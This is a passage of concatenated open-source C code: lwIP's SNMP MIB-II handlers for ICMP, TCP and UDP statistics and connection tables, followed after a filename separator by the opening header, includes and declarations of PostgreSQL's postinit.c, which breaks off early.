return sizeof(*uint_ptr);
case 17: /* icmpOutTimeExcds */
*uint_ptr = STATS_GET(mib2.icmpouttimeexcds);
return sizeof(*uint_ptr);
case 18: /* icmpOutParmProbs: not supported -> always 0 */
*uint_ptr = 0;
return sizeof(*uint_ptr);
case 19: /* icmpOutSrcQuenchs: not supported -> always 0 */
*uint_ptr = 0;
return sizeof(*uint_ptr);
case 20: /* icmpOutRedirects: not supported -> always 0 */
*uint_ptr = 0;
return sizeof(*uint_ptr);
case 21: /* icmpOutEchos */
*uint_ptr = STATS_GET(mib2.icmpoutechos);
return sizeof(*uint_ptr);
case 22: /* icmpOutEchoReps */
*uint_ptr = STATS_GET(mib2.icmpoutechoreps);
return sizeof(*uint_ptr);
case 23: /* icmpOutTimestamps: not supported -> always 0 */
*uint_ptr = 0;
return sizeof(*uint_ptr);
case 24: /* icmpOutTimestampReps: not supported -> always 0 */
*uint_ptr = 0;
return sizeof(*uint_ptr);
case 25: /* icmpOutAddrMasks: not supported -> always 0 */
*uint_ptr = 0;
return sizeof(*uint_ptr);
case 26: /* icmpOutAddrMaskReps: not supported -> always 0 */
*uint_ptr = 0;
return sizeof(*uint_ptr);
default:
LWIP_DEBUGF(SNMP_MIB_DEBUG,("icmp_get_value(): unknown id: %"S32_F"\n", node->oid));
break;
}
return 0;
}
#endif /* LWIP_ICMP */
/* --- tcp .1.3.6.1.2.1.6 ----------------------------------------------------- */
#if LWIP_TCP
static u16_t
tcp_get_value(struct snmp_node_instance* instance, void* value)
{
u32_t *uint_ptr = (u32_t*)value;
s32_t *sint_ptr = (s32_t*)value;
switch (instance->node->oid) {
case 1: /* tcpRtoAlgorithm, vanj(4) */
*sint_ptr = 4;
return sizeof(*sint_ptr);
case 2: /* tcpRtoMin */
/* @todo not the actual value, a guess,
needs to be calculated */
*sint_ptr = 1000;
return sizeof(*sint_ptr);
case 3: /* tcpRtoMax */
/* @todo not the actual value, a guess,
needs to be calculated */
*sint_ptr = 60000;
return sizeof(*sint_ptr);
case 4: /* tcpMaxConn */
*sint_ptr = MEMP_NUM_TCP_PCB;
return sizeof(*sint_ptr);
case 5: /* tcpActiveOpens */
*uint_ptr = STATS_GET(mib2.tcpactiveopens);
return sizeof(*uint_ptr);
case 6: /* tcpPassiveOpens */
*uint_ptr = STATS_GET(mib2.tcppassiveopens);
return sizeof(*uint_ptr);
case 7: /* tcpAttemptFails */
*uint_ptr = STATS_GET(mib2.tcpattemptfails);
return sizeof(*uint_ptr);
case 8: /* tcpEstabResets */
*uint_ptr = STATS_GET(mib2.tcpestabresets);
return sizeof(*uint_ptr);
case 9: /* tcpCurrEstab */
{
u16_t tcpcurrestab = 0;
struct tcp_pcb *pcb = tcp_active_pcbs;
while (pcb != NULL) {
if ((pcb->state == ESTABLISHED) ||
(pcb->state == CLOSE_WAIT)) {
tcpcurrestab++;
}
pcb = pcb->next;
}
*uint_ptr = tcpcurrestab;
}
return sizeof(*uint_ptr);
case 10: /* tcpInSegs */
*uint_ptr = STATS_GET(mib2.tcpinsegs);
return sizeof(*uint_ptr);
case 11: /* tcpOutSegs */
*uint_ptr = STATS_GET(mib2.tcpoutsegs);
return sizeof(*uint_ptr);
case 12: /* tcpRetransSegs */
*uint_ptr = STATS_GET(mib2.tcpretranssegs);
return sizeof(*uint_ptr);
case 14: /* tcpInErrs */
*uint_ptr = STATS_GET(mib2.tcpinerrs);
return sizeof(*uint_ptr);
case 15: /* tcpOutRsts */
*uint_ptr = STATS_GET(mib2.tcpoutrsts);
return sizeof(*uint_ptr);
case 17: /* tcpHCInSegs */
memset(value, 0, 2*sizeof(u32_t)); /* not supported */
return 2*sizeof(u32_t);
case 18: /* tcpHCOutSegs */
memset(value, 0, 2*sizeof(u32_t)); /* not supported */
return 2*sizeof(u32_t);
default:
LWIP_DEBUGF(SNMP_MIB_DEBUG,("tcp_get_value(): unknown id: %"S32_F"\n", instance->node->oid));
break;
}
return 0;
}
/* --- tcpConnTable --- */
#if LWIP_IPV4
/* list of allowed value ranges for incoming OID */
static const struct snmp_oid_range tcp_ConnTable_oid_ranges[] = {
{ 0, 0xff }, /* IP A */
{ 0, 0xff }, /* IP B */
{ 0, 0xff }, /* IP C */
{ 0, 0xff }, /* IP D */
{ 0, 0xffff }, /* Port */
{ 0, 0xff }, /* IP A */
{ 0, 0xff }, /* IP B */
{ 0, 0xff }, /* IP C */
{ 0, 0xff }, /* IP D */
{ 0, 0xffff } /* Port */
};
static snmp_err_t
tcp_ConnTable_get_cell_value_core(struct tcp_pcb *pcb, const u32_t* column, union snmp_variant_value* value, u32_t* value_len)
{
LWIP_UNUSED_ARG(value_len);
/* value */
switch (*column) {
case 1: /* tcpConnState */
value->u32 = pcb->state + 1;
break;
case 2: /* tcpConnLocalAddress */
value->u32 = ip_2_ip4(&pcb->local_ip)->addr;
break;
case 3: /* tcpConnLocalPort */
value->u32 = pcb->local_port;
break;
case 4: /* tcpConnRemAddress */
if(pcb->state == LISTEN) {
value->u32 = IP4_ADDR_ANY->addr;
} else {
value->u32 = ip_2_ip4(&pcb->remote_ip)->addr;
}
break;
case 5: /* tcpConnRemPort */
if(pcb->state == LISTEN) {
value->u32 = 0;
} else {
value->u32 = pcb->remote_port;
}
break;
default:
LWIP_ASSERT("invalid id", 0);
return SNMP_ERR_NOSUCHINSTANCE;
}
return SNMP_ERR_NOERROR;
}
static snmp_err_t
tcp_ConnTable_get_cell_value(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, union snmp_variant_value* value, u32_t* value_len)
{
u8_t i;
ip4_addr_t local_ip;
ip4_addr_t remote_ip;
u16_t local_port;
u16_t remote_port;
struct tcp_pcb *pcb;
/* check if incoming OID length and if values are in plausible range */
if(!snmp_oid_in_range(row_oid, row_oid_len, tcp_ConnTable_oid_ranges, LWIP_ARRAYSIZE(tcp_ConnTable_oid_ranges))) {
return SNMP_ERR_NOSUCHINSTANCE;
}
/* get IPs and ports from incoming OID */
snmp_oid_to_ip4(&row_oid[0], &local_ip); /* we know it succeeds because of oid_in_range check above */
local_port = (u16_t)row_oid[4];
snmp_oid_to_ip4(&row_oid[5], &remote_ip); /* we know it succeeds because of oid_in_range check above */
remote_port = (u16_t)row_oid[9];
/* find tcp_pcb with requested ips and ports */
for(i=0; i<LWIP_ARRAYSIZE(tcp_pcb_lists); i++) {
pcb = *tcp_pcb_lists[i];
while (pcb != NULL) {
/* do local IP and local port match? */
if(!IP_IS_V6_VAL(pcb->local_ip) &&
ip4_addr_cmp(&local_ip, ip_2_ip4(&pcb->local_ip)) && (local_port == pcb->local_port)) {
/* PCBs in state LISTEN are not connected and have no remote_ip or remote_port */
if(pcb->state == LISTEN) {
if(ip4_addr_cmp(&remote_ip, IP4_ADDR_ANY) && (remote_port == 0)) {
/* fill in object properties */
return tcp_ConnTable_get_cell_value_core(pcb, column, value, value_len);
}
} else {
if(!IP_IS_V6_VAL(pcb->remote_ip) &&
ip4_addr_cmp(&remote_ip, ip_2_ip4(&pcb->remote_ip)) && (remote_port == pcb->remote_port)) {
/* fill in object properties */
return tcp_ConnTable_get_cell_value_core(pcb, column, value, value_len);
}
}
}
pcb = pcb->next;
}
}
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
static snmp_err_t
tcp_ConnTable_get_next_cell_instance_and_value(const u32_t* column, struct snmp_obj_id* row_oid, union snmp_variant_value* value, u32_t* value_len)
{
u8_t i;
struct tcp_pcb *pcb;
struct snmp_next_oid_state state;
u32_t result_temp[LWIP_ARRAYSIZE(tcp_ConnTable_oid_ranges)];
/* init struct to search next oid */
snmp_next_oid_init(&state, row_oid->id, row_oid->len, result_temp, LWIP_ARRAYSIZE(tcp_ConnTable_oid_ranges));
/* iterate over all possible OIDs to find the next one */
for(i=0; i<LWIP_ARRAYSIZE(tcp_pcb_lists); i++) {
pcb = *tcp_pcb_lists[i];
while (pcb != NULL) {
u32_t test_oid[LWIP_ARRAYSIZE(tcp_ConnTable_oid_ranges)];
if(!IP_IS_V6_VAL(pcb->local_ip)) {
snmp_ip4_to_oid(ip_2_ip4(&pcb->local_ip), &test_oid[0]);
test_oid[4] = pcb->local_port;
/* PCBs in state LISTEN are not connected and have no remote_ip or remote_port */
if(pcb->state == LISTEN) {
snmp_ip4_to_oid(IP4_ADDR_ANY, &test_oid[5]);
test_oid[9] = 0;
} else {
if(IP_IS_V6_VAL(pcb->remote_ip)) { /* should never happen */
continue;
}
snmp_ip4_to_oid(ip_2_ip4(&pcb->remote_ip), &test_oid[5]);
test_oid[9] = pcb->remote_port;
}
/* check generated OID: is it a candidate for the next one? */
snmp_next_oid_check(&state, test_oid, LWIP_ARRAYSIZE(tcp_ConnTable_oid_ranges), pcb);
}
pcb = pcb->next;
}
}
/* did we find a next one? */
if(state.status == SNMP_NEXT_OID_STATUS_SUCCESS) {
snmp_oid_assign(row_oid, state.next_oid, state.next_oid_len);
/* fill in object properties */
return tcp_ConnTable_get_cell_value_core((struct tcp_pcb*)state.reference, column, value, value_len);
}
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
#endif /* LWIP_IPV4 */
/* --- tcpConnectionTable --- */
static snmp_err_t
tcp_ConnectionTable_get_cell_value_core(const u32_t* column, struct tcp_pcb *pcb, union snmp_variant_value* value)
{
/* all items except tcpConnectionState and tcpConnectionProcess are declared as not-accessible */
switch (*column) {
case 7: /* tcpConnectionState */
value->u32 = pcb->state + 1;
break;
case 8: /* tcpConnectionProcess */
value->u32 = 0; /* not supported */
break;
default:
return SNMP_ERR_NOSUCHINSTANCE;
}
return SNMP_ERR_NOERROR;
}
static snmp_err_t
tcp_ConnectionTable_get_cell_value(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, union snmp_variant_value* value, u32_t* value_len)
{
ip_addr_t local_ip, remote_ip;
u16_t local_port, remote_port;
struct tcp_pcb *pcb;
u8_t idx = 0;
u8_t i;
struct tcp_pcb ** const tcp_pcb_nonlisten_lists[] = {&tcp_bound_pcbs, &tcp_active_pcbs, &tcp_tw_pcbs};
LWIP_UNUSED_ARG(value_len);
/* tcpConnectionLocalAddressType + tcpConnectionLocalAddress + tcpConnectionLocalPort */
idx += snmp_oid_to_ip_port(&row_oid[idx], row_oid_len-idx, &local_ip, &local_port);
if(idx == 0) {
return SNMP_ERR_NOSUCHINSTANCE;
}
/* tcpConnectionRemAddressType + tcpConnectionRemAddress + tcpConnectionRemPort */
idx += snmp_oid_to_ip_port(&row_oid[idx], row_oid_len-idx, &remote_ip, &remote_port);
if(idx == 0) {
return SNMP_ERR_NOSUCHINSTANCE;
}
/* find tcp_pcb with requested ip and port*/
for(i=0; i<LWIP_ARRAYSIZE(tcp_pcb_nonlisten_lists); i++) {
pcb = *tcp_pcb_nonlisten_lists[i];
while (pcb != NULL) {
if(ip_addr_cmp(&local_ip, &pcb->local_ip) &&
(local_port == pcb->local_port) &&
ip_addr_cmp(&remote_ip, &pcb->remote_ip) &&
(remote_port == pcb->remote_port)) {
/* fill in object properties */
return tcp_ConnectionTable_get_cell_value_core(column, pcb, value);
}
pcb = pcb->next;
}
}
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
static snmp_err_t
tcp_ConnectionTable_get_next_cell_instance_and_value(const u32_t* column, struct snmp_obj_id* row_oid, union snmp_variant_value* value, u32_t* value_len)
{
struct tcp_pcb *pcb;
struct snmp_next_oid_state state;
/* 1x tcpConnectionLocalAddressType + 16x tcpConnectionLocalAddress + 1x tcpConnectionLocalPort
* 1x tcpConnectionRemAddressType + 16x tcpConnectionRemAddress + 1x tcpConnectionRemPort */
u32_t result_temp[36];
u8_t i;
struct tcp_pcb ** const tcp_pcb_nonlisten_lists[] = {&tcp_bound_pcbs, &tcp_active_pcbs, &tcp_tw_pcbs};
LWIP_UNUSED_ARG(value_len);
/* init struct to search next oid */
snmp_next_oid_init(&state, row_oid->id, row_oid->len, result_temp, LWIP_ARRAYSIZE(result_temp));
/* iterate over all possible OIDs to find the next one */
for(i=0; i<LWIP_ARRAYSIZE(tcp_pcb_nonlisten_lists); i++) {
pcb = *tcp_pcb_nonlisten_lists[i];
while (pcb != NULL) {
u8_t idx = 0;
u32_t test_oid[LWIP_ARRAYSIZE(result_temp)];
/* tcpConnectionLocalAddressType + tcpConnectionLocalAddress + tcpConnectionLocalPort */
idx += snmp_ip_port_to_oid(&pcb->local_ip, pcb->local_port, &test_oid[idx]);
/* tcpConnectionRemAddressType + tcpConnectionRemAddress + tcpConnectionRemPort */
idx += snmp_ip_port_to_oid(&pcb->remote_ip, pcb->remote_port, &test_oid[idx]);
/* check generated OID: is it a candidate for the next one? */
snmp_next_oid_check(&state, test_oid, idx, pcb);
pcb = pcb->next;
}
}
/* did we find a next one? */
if(state.status == SNMP_NEXT_OID_STATUS_SUCCESS) {
snmp_oid_assign(row_oid, state.next_oid, state.next_oid_len);
/* fill in object properties */
return tcp_ConnectionTable_get_cell_value_core(column, (struct tcp_pcb*)state.reference, value);
} else {
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
}
/* --- tcpListenerTable --- */
static snmp_err_t
tcp_ListenerTable_get_cell_value_core(const u32_t* column, union snmp_variant_value* value)
{
/* all items except tcpListenerProcess are declared as not-accessible */
switch (*column) {
case 4: /* tcpListenerProcess */
value->u32 = 0; /* not supported */
break;
default:
return SNMP_ERR_NOSUCHINSTANCE;
}
return SNMP_ERR_NOERROR;
}
static snmp_err_t
tcp_ListenerTable_get_cell_value(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, union snmp_variant_value* value, u32_t* value_len)
{
ip_addr_t local_ip;
u16_t local_port;
struct tcp_pcb_listen *pcb;
u8_t idx = 0;
LWIP_UNUSED_ARG(value_len);
/* tcpListenerLocalAddressType + tcpListenerLocalAddress + tcpListenerLocalPort */
idx += snmp_oid_to_ip_port(&row_oid[idx], row_oid_len-idx, &local_ip, &local_port);
if(idx == 0) {
return SNMP_ERR_NOSUCHINSTANCE;
}
/* find tcp_pcb with requested ip and port*/
pcb = tcp_listen_pcbs.listen_pcbs;
while (pcb != NULL) {
if(ip_addr_cmp(&local_ip, &pcb->local_ip) &&
(local_port == pcb->local_port)) {
/* fill in object properties */
return tcp_ListenerTable_get_cell_value_core(column, value);
}
pcb = pcb->next;
}
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
static snmp_err_t
tcp_ListenerTable_get_next_cell_instance_and_value(const u32_t* column, struct snmp_obj_id* row_oid, union snmp_variant_value* value, u32_t* value_len)
{
struct tcp_pcb_listen *pcb;
struct snmp_next_oid_state state;
/* 1x tcpListenerLocalAddressType + 16x tcpListenerLocalAddress + 1x tcpListenerLocalPort */
u32_t result_temp[18];
LWIP_UNUSED_ARG(value_len);
/* init struct to search next oid */
snmp_next_oid_init(&state, row_oid->id, row_oid->len, result_temp, LWIP_ARRAYSIZE(result_temp));
/* iterate over all possible OIDs to find the next one */
pcb = tcp_listen_pcbs.listen_pcbs;
while (pcb != NULL) {
u8_t idx = 0;
u32_t test_oid[LWIP_ARRAYSIZE(result_temp)];
/* tcpListenerLocalAddressType + tcpListenerLocalAddress + tcpListenerLocalPort */
idx += snmp_ip_port_to_oid(&pcb->local_ip, pcb->local_port, &test_oid[idx]);
/* check generated OID: is it a candidate for the next one? */
snmp_next_oid_check(&state, test_oid, idx, NULL);
pcb = pcb->next;
}
/* did we find a next one? */
if(state.status == SNMP_NEXT_OID_STATUS_SUCCESS) {
snmp_oid_assign(row_oid, state.next_oid, state.next_oid_len);
/* fill in object properties */
return tcp_ListenerTable_get_cell_value_core(column, value);
} else {
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
}
#endif /* LWIP_TCP */
/* --- udp .1.3.6.1.2.1.7 ----------------------------------------------------- */
#if LWIP_UDP
static u16_t
udp_get_value(struct snmp_node_instance* instance, void* value)
{
u32_t *uint_ptr = (u32_t*)value;
switch (instance->node->oid) {
case 1: /* udpInDatagrams */
*uint_ptr = STATS_GET(mib2.udpindatagrams);
return sizeof(*uint_ptr);
case 2: /* udpNoPorts */
*uint_ptr = STATS_GET(mib2.udpnoports);
return sizeof(*uint_ptr);
case 3: /* udpInErrors */
*uint_ptr = STATS_GET(mib2.udpinerrors);
return sizeof(*uint_ptr);
case 4: /* udpOutDatagrams */
*uint_ptr = STATS_GET(mib2.udpoutdatagrams);
return sizeof(*uint_ptr);
case 8: /* udpHCInDatagrams */
memset(value, 0, 2*sizeof(u32_t)); /* not supported */
return 2*sizeof(u32_t);
case 9: /* udpHCOutDatagrams */
memset(value, 0, 2*sizeof(u32_t)); /* not supported */
return 2*sizeof(u32_t);
default:
LWIP_DEBUGF(SNMP_MIB_DEBUG,("udp_get_value(): unknown id: %"S32_F"\n", instance->node->oid));
break;
}
return 0;
}
/* --- udpEndpointTable --- */
static snmp_err_t
udp_endpointTable_get_cell_value_core(const u32_t* column, union snmp_variant_value* value)
{
/* all items except udpEndpointProcess are declared as not-accessible */
switch (*column) {
case 8: /* udpEndpointProcess */
value->u32 = 0; /* not supported */
break;
default:
return SNMP_ERR_NOSUCHINSTANCE;
}
return SNMP_ERR_NOERROR;
}
static snmp_err_t
udp_endpointTable_get_cell_value(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, union snmp_variant_value* value, u32_t* value_len)
{
ip_addr_t local_ip, remote_ip;
u16_t local_port, remote_port;
struct udp_pcb *pcb;
u8_t idx = 0;
LWIP_UNUSED_ARG(value_len);
/* udpEndpointLocalAddressType + udpEndpointLocalAddress + udpEndpointLocalPort */
idx += snmp_oid_to_ip_port(&row_oid[idx], row_oid_len-idx, &local_ip, &local_port);
if(idx == 0) {
return SNMP_ERR_NOSUCHINSTANCE;
}
/* udpEndpointRemoteAddressType + udpEndpointRemoteAddress + udpEndpointRemotePort */
idx += snmp_oid_to_ip_port(&row_oid[idx], row_oid_len-idx, &remote_ip, &remote_port);
if(idx == 0) {
return SNMP_ERR_NOSUCHINSTANCE;
}
/* udpEndpointInstance */
if(row_oid_len < (idx+1)) {
return SNMP_ERR_NOSUCHINSTANCE;
}
if(row_oid[idx] != 0) {
return SNMP_ERR_NOSUCHINSTANCE;
}
/* find udp_pcb with requested ip and port*/
pcb = udp_pcbs;
while (pcb != NULL) {
if(ip_addr_cmp(&local_ip, &pcb->local_ip) &&
(local_port == pcb->local_port) &&
ip_addr_cmp(&remote_ip, &pcb->remote_ip) &&
(remote_port == pcb->remote_port)) {
/* fill in object properties */
return udp_endpointTable_get_cell_value_core(column, value);
}
pcb = pcb->next;
}
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
static snmp_err_t
udp_endpointTable_get_next_cell_instance_and_value(const u32_t* column, struct snmp_obj_id* row_oid, union snmp_variant_value* value, u32_t* value_len)
{
struct udp_pcb *pcb;
struct snmp_next_oid_state state;
/* 1x udpEndpointLocalAddressType + 16x udpEndpointLocalAddress + 1x udpEndpointLocalPort +
* 1x udpEndpointRemoteAddressType + 16x udpEndpointRemoteAddress + 1x udpEndpointRemotePort +
* 1x udpEndpointInstance = 37
*/
u32_t result_temp[37];
LWIP_UNUSED_ARG(value_len);
/* init struct to search next oid */
snmp_next_oid_init(&state, row_oid->id, row_oid->len, result_temp, LWIP_ARRAYSIZE(result_temp));
/* iterate over all possible OIDs to find the next one */
pcb = udp_pcbs;
while (pcb != NULL) {
u32_t test_oid[LWIP_ARRAYSIZE(result_temp)];
u8_t idx = 0;
/* udpEndpointLocalAddressType + udpEndpointLocalAddress + udpEndpointLocalPort */
idx += snmp_ip_port_to_oid(&pcb->local_ip, pcb->local_port, &test_oid[idx]);
/* udpEndpointRemoteAddressType + udpEndpointRemoteAddress + udpEndpointRemotePort */
idx += snmp_ip_port_to_oid(&pcb->remote_ip, pcb->remote_port, &test_oid[idx]);
test_oid[idx] = 0; /* udpEndpointInstance */
idx++;
/* check generated OID: is it a candidate for the next one? */
snmp_next_oid_check(&state, test_oid, idx, NULL);
pcb = pcb->next;
}
/* did we find a next one? */
if(state.status == SNMP_NEXT_OID_STATUS_SUCCESS) {
snmp_oid_assign(row_oid, state.next_oid, state.next_oid_len);
/* fill in object properties */
return udp_endpointTable_get_cell_value_core(column, value);
} else {
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
}
#endif /* LWIP_UDP */
/* --- udpTable --- */
#if LWIP_UDP && LWIP_IPV4
/* list of allowed value ranges for incoming OID */
static const struct snmp_oid_range udp_Table_oid_ranges[] = {
{ 0, 0xff }, /* IP A */
{ 0, 0xff }, /* IP B */
{ 0, 0xff }, /* IP C */
{ 0, 0xff }, /* IP D */
{ 1, 0xffff } /* Port */
};
static snmp_err_t
udp_Table_get_cell_value_core(struct udp_pcb *pcb, const u32_t* column, union snmp_variant_value* value, u32_t* value_len)
{
LWIP_UNUSED_ARG(value_len);
switch (*column) {
case 1: /* udpLocalAddress */
/* set reference to PCB local IP and return a generic node that copies IP4 addresses */
value->u32 = ip_2_ip4(&pcb->local_ip)->addr;
break;
case 2: /* udpLocalPort */
/* set reference to PCB local port and return a generic node that copies u16_t values */
value->u32 = pcb->local_port;
break;
default:
return SNMP_ERR_NOSUCHINSTANCE;
}
return SNMP_ERR_NOERROR;
}
static snmp_err_t
udp_Table_get_cell_value(const u32_t* column, const u32_t* row_oid, u8_t row_oid_len, union snmp_variant_value* value, u32_t* value_len)
{
ip4_addr_t ip;
u16_t port;
struct udp_pcb *pcb;
/* check if incoming OID length and if values are in plausible range */
if(!snmp_oid_in_range(row_oid, row_oid_len, udp_Table_oid_ranges, LWIP_ARRAYSIZE(udp_Table_oid_ranges))) {
return SNMP_ERR_NOSUCHINSTANCE;
}
/* get IP and port from incoming OID */
snmp_oid_to_ip4(&row_oid[0], &ip); /* we know it succeeds because of oid_in_range check above */
port = (u16_t)row_oid[4];
/* find udp_pcb with requested ip and port*/
pcb = udp_pcbs;
while (pcb != NULL) {
if(!IP_IS_V6_VAL(pcb->local_ip)) {
if(ip4_addr_cmp(&ip, ip_2_ip4(&pcb->local_ip)) && (port == pcb->local_port)) {
/* fill in object properties */
return udp_Table_get_cell_value_core(pcb, column, value, value_len);
}
}
pcb = pcb->next;
}
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
static snmp_err_t
udp_Table_get_next_cell_instance_and_value(const u32_t* column, struct snmp_obj_id* row_oid, union snmp_variant_value* value, u32_t* value_len)
{
struct udp_pcb *pcb;
struct snmp_next_oid_state state;
u32_t result_temp[LWIP_ARRAYSIZE(udp_Table_oid_ranges)];
/* init struct to search next oid */
snmp_next_oid_init(&state, row_oid->id, row_oid->len, result_temp, LWIP_ARRAYSIZE(udp_Table_oid_ranges));
/* iterate over all possible OIDs to find the next one */
pcb = udp_pcbs;
while (pcb != NULL) {
u32_t test_oid[LWIP_ARRAYSIZE(udp_Table_oid_ranges)];
if(!IP_IS_V6_VAL(pcb->local_ip)) {
snmp_ip4_to_oid(ip_2_ip4(&pcb->local_ip), &test_oid[0]);
test_oid[4] = pcb->local_port;
/* check generated OID: is it a candidate for the next one? */
snmp_next_oid_check(&state, test_oid, LWIP_ARRAYSIZE(udp_Table_oid_ranges), pcb);
}
pcb = pcb->next;
}
/* did we find a next one? */
if(state.status == SNMP_NEXT_OID_STATUS_SUCCESS) {
snmp_oid_assign(row_oid, state.next_oid, state.next_oid_len);
/* fill in object properties */
return udp_Table_get_cell_value_core((struct udp_pcb*)state.reference, column, value, value_len);
} else {
/* not found */
return SNMP_ERR_NOSUCHINSTANCE;
}
}
#endif /* LWIP_UDP && LWIP_IPV4 */
/* --- snmp .1.3.6.1.2.1.11 ----------------------------------------------------- */
static u16_t
snmp_get_value(const struct snmp_scalar_array_node_def *node, void *value)
{
u32_t *uint_ptr = (u32_t*)value;
switch (node->oid) {
case 1: /* snmpInPkts */
*uint_ptr = snmp_stats.inpkts;
break;
case 2: /* snmpOutPkts */
*uint_ptr = snmp_stats.outpkts;
break;
case 3: /* snmpInBadVersions */
*uint_ptr = snmp_stats.inbadversions;
break;
case 4: /* snmpInBadCommunityNames */
*uint_ptr = snmp_stats.inbadcommunitynames;
break;
case 5: /* snmpInBadCommunityUses */
*uint_ptr = snmp_stats.inbadcommunityuses;
break;
case 6: /* snmpInASNParseErrs */
*uint_ptr = snmp_stats.inasnparseerrs;
break;
case 8: /* snmpInTooBigs */
*uint_ptr = snmp_stats.intoobigs;
break;
case 9: /* snmpInNoSuchNames */
*uint_ptr = snmp_stats.innosuchnames;
break;
case 10: /* snmpInBadValues */
*uint_ptr = snmp_stats.inbadvalues;
break;
case 11: /* snmpInReadOnlys */
*uint_ptr = snmp_stats.inreadonlys;
break;
case 12: /* snmpInGenErrs */
*uint_ptr = snmp_stats.ingenerrs;
break;
case 13: /* snmpInTotalReqVars */
*uint_ptr = snmp_stats.intotalreqvars;
break;
case 14: /* snmpInTotalSetVars */
*uint_ptr = snmp_stats.intotalsetvars;
break;
case 15: /* snmpInGetRequests */
*uint_ptr = snmp_stats.ingetrequests;
break;
case 16: /* snmpInGetNexts */
*uint_ptr = snmp_stats.ingetnexts;
break;
case 17: /* snmpInSetRequests */
*uint_ptr = snmp_stats.insetrequests;
break;
case 18: /* snmpInGetResponses */
*uint_ptr = snmp_stats.ingetresponses;
break;
case 19: /* snmpInTraps */
*uint_ptr = snmp_stats.intraps;
break;
case 20: /* snmpOutTooBigs */
*uint_ptr = snmp_stats.outtoobigs;
break;
case 21: /* snmpOutNoSuchNames */
*uint_ptr = snmp_stats.outnosuchnames;
break;
case 22: /* snmpOutBadValues */
*uint_ptr = snmp_stats.outbadvalues;
break;
case 24: /* snmpOutGenErrs */
*uint_ptr = snmp_stats.outgenerrs;
break;
case 25: /* snmpOutGetRequests */
*uint_ptr = snmp_stats.outgetrequests;
break;
case 26: /* snmpOutGetNexts */
*uint_ptr = snmp_stats.outgetnexts;
break;
case 27: /* snmpOutSetRequests */
*uint_ptr = snmp_stats.outsetrequests;
break;
case 28: /* snmpOutGetResponses */
*uint_ptr = snmp_stats.outgetresponses;
break;
case 29: /* snmpOutTraps */
*uint_ptr = snmp_stats.outtraps;
break;
case 30: /* snmpEnableAuthenTraps */
if (snmp_get_auth_traps_enabled() == SNMP_AUTH_TRAPS_DISABLED) {
*uint_ptr = MIB2_AUTH_TRAPS_DISABLED;
} else {
*uint_ptr = MIB2_AUTH_TRAPS_ENABLED;
}
break;
case 31: /* snmpSilentDrops */
*uint_ptr = 0; /* not supported */
break;
case 32: /* snmpProxyDrops */
*uint_ptr = 0; /* not supported */
break;
default:
LWIP_DEBUGF(SNMP_MIB_DEBUG,("snmp_get_value(): unknown id: %"S32_F"\n", node->oid));
return 0;
}
return sizeof(*uint_ptr);
}
static snmp_err_t
snmp_set_test(const struct snmp_scalar_array_node_def *node, u16_t len, void *value)
{
snmp_err_t ret = SNMP_ERR_WRONGVALUE;
LWIP_UNUSED_ARG(len);
if (node->oid == 30) {
/* snmpEnableAuthenTraps */
s32_t *sint_ptr = (s32_t*)value;
/* we should have writable non-volatile mem here */
if ((*sint_ptr == MIB2_AUTH_TRAPS_DISABLED) || (*sint_ptr == MIB2_AUTH_TRAPS_ENABLED)) {
ret = SNMP_ERR_NOERROR;
}
}
return ret;
}
static snmp_err_t
snmp_set_value(const struct snmp_scalar_array_node_def *node, u16_t len, void *value)
{
LWIP_UNUSED_ARG(len);
if (node->oid == 30) {
/* snmpEnableAuthenTraps */
s32_t *sint_ptr = (s32_t*)value;
if (*sint_ptr == MIB2_AUTH_TRAPS_DISABLED) {
snmp_set_auth_traps_enabled(SNMP_AUTH_TRAPS_DISABLED);
} else {
snmp_set_auth_traps_enabled(SNMP_AUTH_TRAPS_ENABLED);
}
}
return SNMP_ERR_NOERROR;
}
#endif /* SNMP_LWIP_MIB2 */
#endif /* LWIP_SNMP */
|
900029.c | /*-------------------------------------------------------------------------
*
* postinit.c
* postgres initialization utilities
*
* Portions Copyright (c) 1996-2013, PostgreSQL Global Development Group
* Portions Copyright (c) 1994, Regents of the University of California
*
*
* IDENTIFICATION
* src/backend/utils/init/postinit.c
*
*
*-------------------------------------------------------------------------
*/
#include "postgres.h"
#include <ctype.h>
#include <fcntl.h>
#include <unistd.h>
#include "access/heapam.h"
#include "access/htup_details.h"
#include "access/sysattr.h"
#include "access/xact.h"
#include "catalog/catalog.h"
#include "catalog/indexing.h"
#include "catalog/namespace.h"
#include "catalog/pg_authid.h"
#include "catalog/pg_database.h"
#include "catalog/pg_db_role_setting.h"
#include "catalog/pg_tablespace.h"
#include "libpq/auth.h"
#include "libpq/libpq-be.h"
#include "mb/pg_wchar.h"
#include "miscadmin.h"
#include "pgstat.h"
#include "postmaster/autovacuum.h"
#include "postmaster/postmaster.h"
#include "replication/walsender.h"
#include "storage/bufmgr.h"
#include "storage/fd.h"
#include "storage/ipc.h"
#include "storage/lmgr.h"
#include "storage/procarray.h"
#include "storage/procsignal.h"
#include "storage/proc.h"
#include "storage/sinvaladt.h"
#include "storage/smgr.h"
#include "tcop/tcopprot.h"
#include "utils/acl.h"
#include "utils/fmgroids.h"
#include "utils/guc.h"
#include "utils/pg_locale.h"
#include "utils/portal.h"
#include "utils/ps_status.h"
#include "utils/snapmgr.h"
#include "utils/syscache.h"
#include "utils/timeout.h"
#include "utils/tqual.h"
static HeapTuple GetDatabaseTuple(const char *dbname);
static HeapTuple GetDatabaseTupleByOid(Oid dboid);
static void PerformAuthentication(Port *port);
static void CheckMyDatabase(const char *name, bool am_superuser);
static void InitCommunication(void);
static void ShutdownPostgres(int code, Datum arg);
static void StatementTimeoutHandler(void);
static void LockTimeoutHandler(void);
static bool ThereIsAtLeastOneRole(void);
static void process_startup_options(Port *port, bool am_superuser);
static void process_settings(Oid databaseid, Oid roleid);
/*** InitPostgres support ***/
/*
* GetDatabaseTuple -- fetch the pg_database row for a database
*
